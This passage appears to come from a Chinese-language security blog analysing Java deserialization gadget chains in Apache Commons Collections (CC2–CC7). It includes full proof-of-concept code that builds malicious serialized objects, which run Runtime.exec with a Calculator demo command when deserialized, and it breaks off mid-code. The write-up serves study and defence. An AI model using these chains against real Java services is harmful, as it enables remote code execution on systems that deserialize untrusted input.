import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

public class javassit_test {
    public static void createPseson() throws Exception {

        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("Cat");
        String cmd = "System.out.println(\"evil code\");";
        // 創建 static 代碼塊,并插入代碼
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        // 寫入.class 文件
        cc.writeFile();
    }

    public static void main(String[] args) {
        try {
            createPseson();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

上面這段代碼中生成的class是這樣的:

-w442

這里的static語句塊會在創建類實例的時候執行。

回到TemplatesImpl這個類中:

-w781

在其newTransformer中調用了getTransletInstance方法:

-w811

重點代碼即我圈起來的兩行代碼,首先先跟進defineTransletClasses方法:

-w682

這里通過loader.defineClass的方式將bytecodes還原為Class,接著在外面又調用了_class[_transletIndex].newInstance方法實例化還原的Class。此時static語句塊成功執行。

也就是說,我們可以通過TemplatesImpl#newTransformer方法來執行惡意類的static語句塊。

Demo:

import javassist.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.ClassLoader;
import java.lang.reflect.Field;

public class javassit_test {
    public static void createPseson() throws Exception {

        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"open  /System/Applications/Calculator.app\");";
        // 創建 static 代碼塊,并插入代碼
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        // 寫入.class 文件
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        // 進入 defineTransletClasses() 方法需要的條件
        setFieldValue(templates, "_name", "name" + System.nanoTime());
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        templates.newTransformer();

    }

    public static void main(String[] args) {
        try {
            createPseson();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }

}

-w1239

此時已經可以成功執行命令了,接下來就是需要找到一個點調用了newTransformer這個方法。

前面說了,我們已經可以執行到transform方法了,那么我們可以通過InvokerTransformer#transform的反射來調用TemplatesImpl#newtransformer,達到命令執行的目的。

完整POC:

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

public class cc2 {

    public static void main(String[] args) throws Exception {
        Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
        constructor.setAccessible(true);
        InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");

        TransformingComparator comparator = new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(1);

        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"open  /System/Applications/Calculator.app\");";
        // 創建 static 代碼塊,并插入代碼
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //設置父類為AbstractTranslet,避免報錯
        // 寫入.class 文件
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        // 進入 defineTransletClasses() 方法需要的條件
        setFieldValue(templates, "_name", "name");
        setFieldValue(templates, "_class", null);

        Object[] queue_array = new Object[]{templates,1};

        Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
        queue_field.setAccessible(true);
        queue_field.set(queue,queue_array);

        Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
        size.setAccessible(true);
        size.set(queue,2);


        Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        comparator_field.setAccessible(true);
        comparator_field.set(queue,comparator);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2"));
            outputStream.writeObject(queue);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }

    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }


}
  • 一些細節問題

這里我從poc的上半段到下半段,把一些細節問題梳理一下。

1.為什么要設置惡意類的父類為AbstractTranslet?

這是因為在defineTransletClasses這個方法中存在一個判斷:

-w847

我們需要令_transletIndex為i,此時的i為0,默認狀態下_transletIndex的值為-1,而如果_transletIndex的值小于0,就會拋出異常:

-w647

這里我們也不能通過反射的方式來設置_transletIndex的值,因為還是會進入到_auxClasses方法中,此方法會報出錯誤,我們依舊無法正常的序列化。

2.為什么要設置_name、_class、兩個屬性,其值對應的意義是什么?

首先如果要進入defineTransletClasses,需要滿足這兩個條件:

-w541

所以_name需要設置為任意不為null的值,而_class需要設置為null。

3.為什么要通過反射的方式來設置queue的值,而不能直接add?

這是因為在put的時候會將后一個元素與前一個元素進行比較,而templates是一個類,他和數字1無法進行比較,所以這里會報錯。同樣的,如果傳入一個對象和另外一個對象,兩者也無法進行比較,都會報出如下錯誤:

-w1275

所以需要通過反射的方式來對queue的值進行設置。

4.為什么要修改queue數組的第一個值為TemplatesImpl?

是因為在調用compare方法的時候,傳遞了一個obj1進去:

-w514

通過cc1的學習我們知道,InvokerTransformer調用方法是基于你傳遞進來的類來進行調用的,所以這里的obj1需要設置為TemplatesImpl,而這個obj1是從這里來的:

-w632

所以我們需要控制這個c,而這個c是從queue中取出來的,所以在這里我們需要設置queue中第一個值為TemplatesImpl,為什么不能設置為第二個呢?是因為調用compare時,會先對第一個進行調用,如果我們設置TemplatesImpl在第二個位置,則會報出1沒有newTransformer方法的錯誤:

-w1201

5.為什么要通過反射的方式修改size?

這個在前面說過了,size必須要大于2,而我們這里并沒有調用put方法,所以size默認是為0的,當然還有一種辦法,就是先調用兩次put,put正常的值進,再修改queue數組,這兩種辦法的實現原理是一樣的。

我認為的利用鏈

ObjectInputStream.readObject()
    PriorityQueue.readObject()
        PriorityQueue.heapify()
            PriorityQueue.siftDown()
                PriorityQueue.siftDownUsingComparator()
                    TransformingComparator.compare()
                        InvokerTransformer.transform()
                                Method.invoke()
                                    TemplatesImpl.newTransformer()
                                         TemplatesImpl.getTransletInstance()
                                         TemplatesImpl.defineTransletClasses
                                         newInstance()
                                            Runtime.exec()

Commons Collections 3

利用環境:

  • jdk1.7
  • Commons Collections 3.1

利用鏈

ObjectInputStream.readObject()
            AnnotationInvocationHandler.readObject()
                Map(Proxy).entrySet()
                    AnnotationInvocationHandler.invoke()
                        LazyMap.get()
                            ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InstantiateTransformer.transform()
                            newInstance()
                                TrAXFilter#TrAXFilter()
                                TemplatesImpl.newTransformer()
                                         TemplatesImpl.getTransletInstance()
                                         TemplatesImpl.defineTransletClasses
                                         newInstance()
                                            Runtime.exec()

利用鏈分析

cc3更像是cc1+cc2的結合體,然后稍微變種了一下。。

cc2里說了,我們需要通過TemplatesImpl#newTransformer來實現命令執行,在cc2里使用的是InvokerTransformer來反射調用newTransformer。而cc3中則是通過TrAXFilter這個類的構造方法來調用newTransformer。

-w753

在cc3中引入了一個新的InstantiateTransformer,以下是他的transform方法:

-w799

可以發現這里創建了類實例,如果我們把input設置為TrAXFilter,那么就會在這里實例化的時候調用其構造方法,觸發TemplatesImpl#newTransformer。

構造POC:

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;


public class cc3 {

    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"open  /System/Applications/Calculator.app\");";
        // 創建 static 代碼塊,并插入代碼
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //設置父類為AbstractTranslet,避免報錯
        // 寫入.class 文件
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        // 進入 defineTransletClasses() 方法需要的條件
        setFieldValue(templates, "_name", "name");
        setFieldValue(templates, "_class", null);

        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        });

        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);


        Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        handler_constructor.setAccessible(true);
        InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //創建第一個代理的handler

        Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //創建proxy對象


        Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        AnnotationInvocationHandler_Constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc3"));
            outputStream.writeObject(handler);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc3"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }

    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

這個poc看起來應該就不會有前面那么費勁了,因為cc3實際上就只是cc1和cc2的雜交變種。相當于cc1的前半段鏈結合cc3的后半段鏈,中間transformer這里稍微改了一下觸發方式而已。

Commons Collections 4

測試環境:

  • jdk1.7
  • Commons Collections 4.0

利用鏈

ObjectInputStream.readObject()
    PriorityQueue.readObject()
        PriorityQueue.heapify()
            PriorityQueue.siftDown()
                PriorityQueue.siftDownUsingComparator()
                    TransformingComparator.compare()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InstantiateTransformer.transform()
                            newInstance()
                                TrAXFilter#TrAXFilter()
                                TemplatesImpl.newTransformer()
                                         TemplatesImpl.getTransletInstance()
                                         TemplatesImpl.defineTransletClasses
                                         newInstance()
                                            Runtime.exec()

利用鏈分析

cc4也沒什么新的東西,實際上算是cc2和cc3的雜交體。。

cc3前半段用的是cc1的,在cc4里稍微改了一下,前半段換成cc2的了。。

POC:

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class cc4 {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"open  /System/Applications/Calculator.app\");";
        // 創建 static 代碼塊,并插入代碼
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //設置父類為AbstractTranslet,避免報錯
        // 寫入.class 文件
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        // 進入 defineTransletClasses() 方法需要的條件
        setFieldValue(templates, "_name", "name");
        setFieldValue(templates, "_class", null);

        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        });

        Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
        constructor.setAccessible(true);
        InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");

        TransformingComparator comparator = new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(1);

        Object[] queue_array = new Object[]{templates,1};

        Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
        queue_field.setAccessible(true);
        queue_field.set(queue,queue_array);

        Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
        size.setAccessible(true);
        size.set(queue,2);


        Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        comparator_field.setAccessible(true);
        comparator_field.set(queue,comparator);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc4"));
            outputStream.writeObject(queue);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc4"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

Commons Collections 5

測試環境:

  • jdk 1.7
  • Commons Collections 3.1

利用鏈

/*
    Gadget chain:
        ObjectInputStream.readObject()
            BadAttributeValueExpException.readObject()
                TiedMapEntry.toString()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()
    Requires:
        commons-collections
 */
/*
This only works in JDK 8u76 and WITHOUT a security manager
https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
 */

利用鏈分析

cc5的后半段與cc1相同,所以先把cc1的內容抄下來:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;

public class cc5 {
    public static void main(String[] args){
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"open  /System/Applications/Calculator.app"})});
        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
    }
}

在cc1中說了,這里只要調用LazyMap#get并且傳遞任意內容即可觸發后續的鏈達到rce的目的。

在cc5中用到的是TiedMapEntry中的toString方法:

public String toString() {
        return this.getKey() + "=" + this.getValue();
    }

跟進getValue方法:

    public V getValue() {
        return this.map.get(this.key);
    }

可以發現這里對this.map調用了get方法,并將key傳遞進去,所以這里只需要令map為我們前面構造好的LazyMap,即可觸發rce。

-w413

從上圖中的定義可以發現,map以及key都是我們可控的,構造POC:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;

import java.util.HashMap;

public class cc5 {
    public static void main(String[] args){
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"open  /System/Applications/Calculator.app"})});
        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
        TiedMapEntry tiedmap = new TiedMapEntry(map,123);
        tiedmap.toString();
    }
}

上面的代碼即可實現任意命令執行,接下來我們需要找哪里調用了toString方法,在cc5中使用了BadAttributeValueExpException這個類。

BadAttributeValueExpException#readObject:

-w755

看看這個valObj是從哪里來的:

-w806

不難發現,這里是從Filed中取出來的,那么利用方式也就很清晰了,通過反射來設置BadAttributeValueExpException中val的值為TiedMapEntry即可觸發命令執行。

POC:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class cc5 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"open  /System/Applications/Calculator.app"})});
        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
        TiedMapEntry tiedmap = new TiedMapEntry(map,123);
        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedmap);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5"));
            outputStream.writeObject(poc);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

下面解釋一些細節的問題:

  • 為什么創建BadAttributeValueExpException實例時不直接將構造好的TiedMapEntry傳進去而要通過反射來修改val的值?

以下為BadAttributeValueExpException的構造方法:

public BadAttributeValueExpException (Object val) {
        this.val = val == null ? null : val.toString();
    }

可以發現,如果我們直接將前面構造好的TiedMapEntry傳進去,在這里就會觸發toString,從而導致rce。此時val的值為UNIXProcess,這是不可以被反序列化的,所以我們需要在不觸發rce的前提,將val設置為構造好的TiedMapEntry。否則就會報出下邊的錯誤:

-w877

Commons Collections 6

測試環境:

  • jdk 1.7
  • Commons Collections 3.1

利用鏈

    Gadget chain:
        java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            ...
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()
    by @matthias_kaiser
*/

利用鏈分析

cc6的后半段鏈也和cc1是一樣的,老規矩,我們先把cc1后半段的payload抄下來:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;

public class cc6 {

    public static void main(String[] args){
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"open  /System/Applications/Calculator.app"})});

        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
    }
}

在cc5,通過對TiedMapEntry#toString方法的調用,觸發了TiedMapEntry#getValue,從而觸發了LazyMap#get完成后半段的調用。

而在cc6中則是通過TiedMapEntry#hashCode觸發對TiedMapEntry#getValue的調用:

-w890

那么poc就是如下這樣的:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;

import java.util.HashMap;

public class cc6 {

    public static void main(String[] args){
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"open  /System/Applications/Calculator.app"})});

        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);

        TiedMapEntry tiedmap = new TiedMapEntry(map,123);
        tiedmap.hashCode();
    }
}

接著就需要找哪里觸發了hashCode,cc6中使用的是HashMap#hash:

-w804

這里的k目前還不是我們可控的,所以需要找某個點調用了hash方法,并且傳遞的參數是我們可控的,這里用到了HashMap#put:

-w747

然而這里的key還是不是我們可控的,所以還需要找某個點調用了put方法,并且傳遞的第一個參數是我們可控的,最后找到了HashSet#readObject:

-w741

這里調用了map.put,其中map可以控制為HashMap,而傳入的第一個參數e是用readObject取出來的,那么對應的我們就看看writeObject怎么寫的:

-w641

情況很清晰明了了,我們需要控制傳入map的keySet返回結果來控制變量。

POC:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;

public class cc6 {

    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"open  /System/Applications/Calculator.app"})});

        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);

        TiedMapEntry tiedmap = new TiedMapEntry(map,123);

        HashSet hashset = new HashSet(1);
        hashset.add("foo");

        Field field = Class.forName("java.util.HashSet").getDeclaredField("map");
        field.setAccessible(true);
        HashMap hashset_map = (HashMap) field.get(hashset);

        Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
        table.setAccessible(true);
        Object[] array = (Object[])table.get(hashset_map);

        Object node = array[0];

        Field key = node.getClass().getDeclaredField("key");
        key.setAccessible(true);
        key.set(node,tiedmap);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc6"));
            outputStream.writeObject(hashset);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc6"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }







    }
}

別看下邊復雜,其實最終的目的只是通過反射修改keySet的返回結果為[TiedMapEntry]而已。。

Commons Collections 7

測試環境:

  • jdk 1.8
  • Commons Collections 3.1

利用鏈

/*
    Payload method chain:
    java.util.Hashtable.readObject
    java.util.Hashtable.reconstitutionPut
    org.apache.commons.collections.map.AbstractMapDecorator.equals
    java.util.AbstractMap.equals
    org.apache.commons.collections.map.LazyMap.get
    org.apache.commons.collections.functors.ChainedTransformer.transform
    org.apache.commons.collections.functors.InvokerTransformer.transform
    java.lang.reflect.Method.invoke
    sun.reflect.DelegatingMethodAccessorImpl.invoke
    sun.reflect.NativeMethodAccessorImpl.invoke
    sun.reflect.NativeMethodAccessorImpl.invoke0
    java.lang.Runtime.exec
*/

利用鏈分析

cc7后半段與cc1相同,前半段(如何觸發LazyMap#get)不同,老規矩,先把相同部分的payload抄下來。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;

import java.util.AbstractMap;
import java.util.HashMap;

public class cc7 {
    public static void main(String[] args){
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
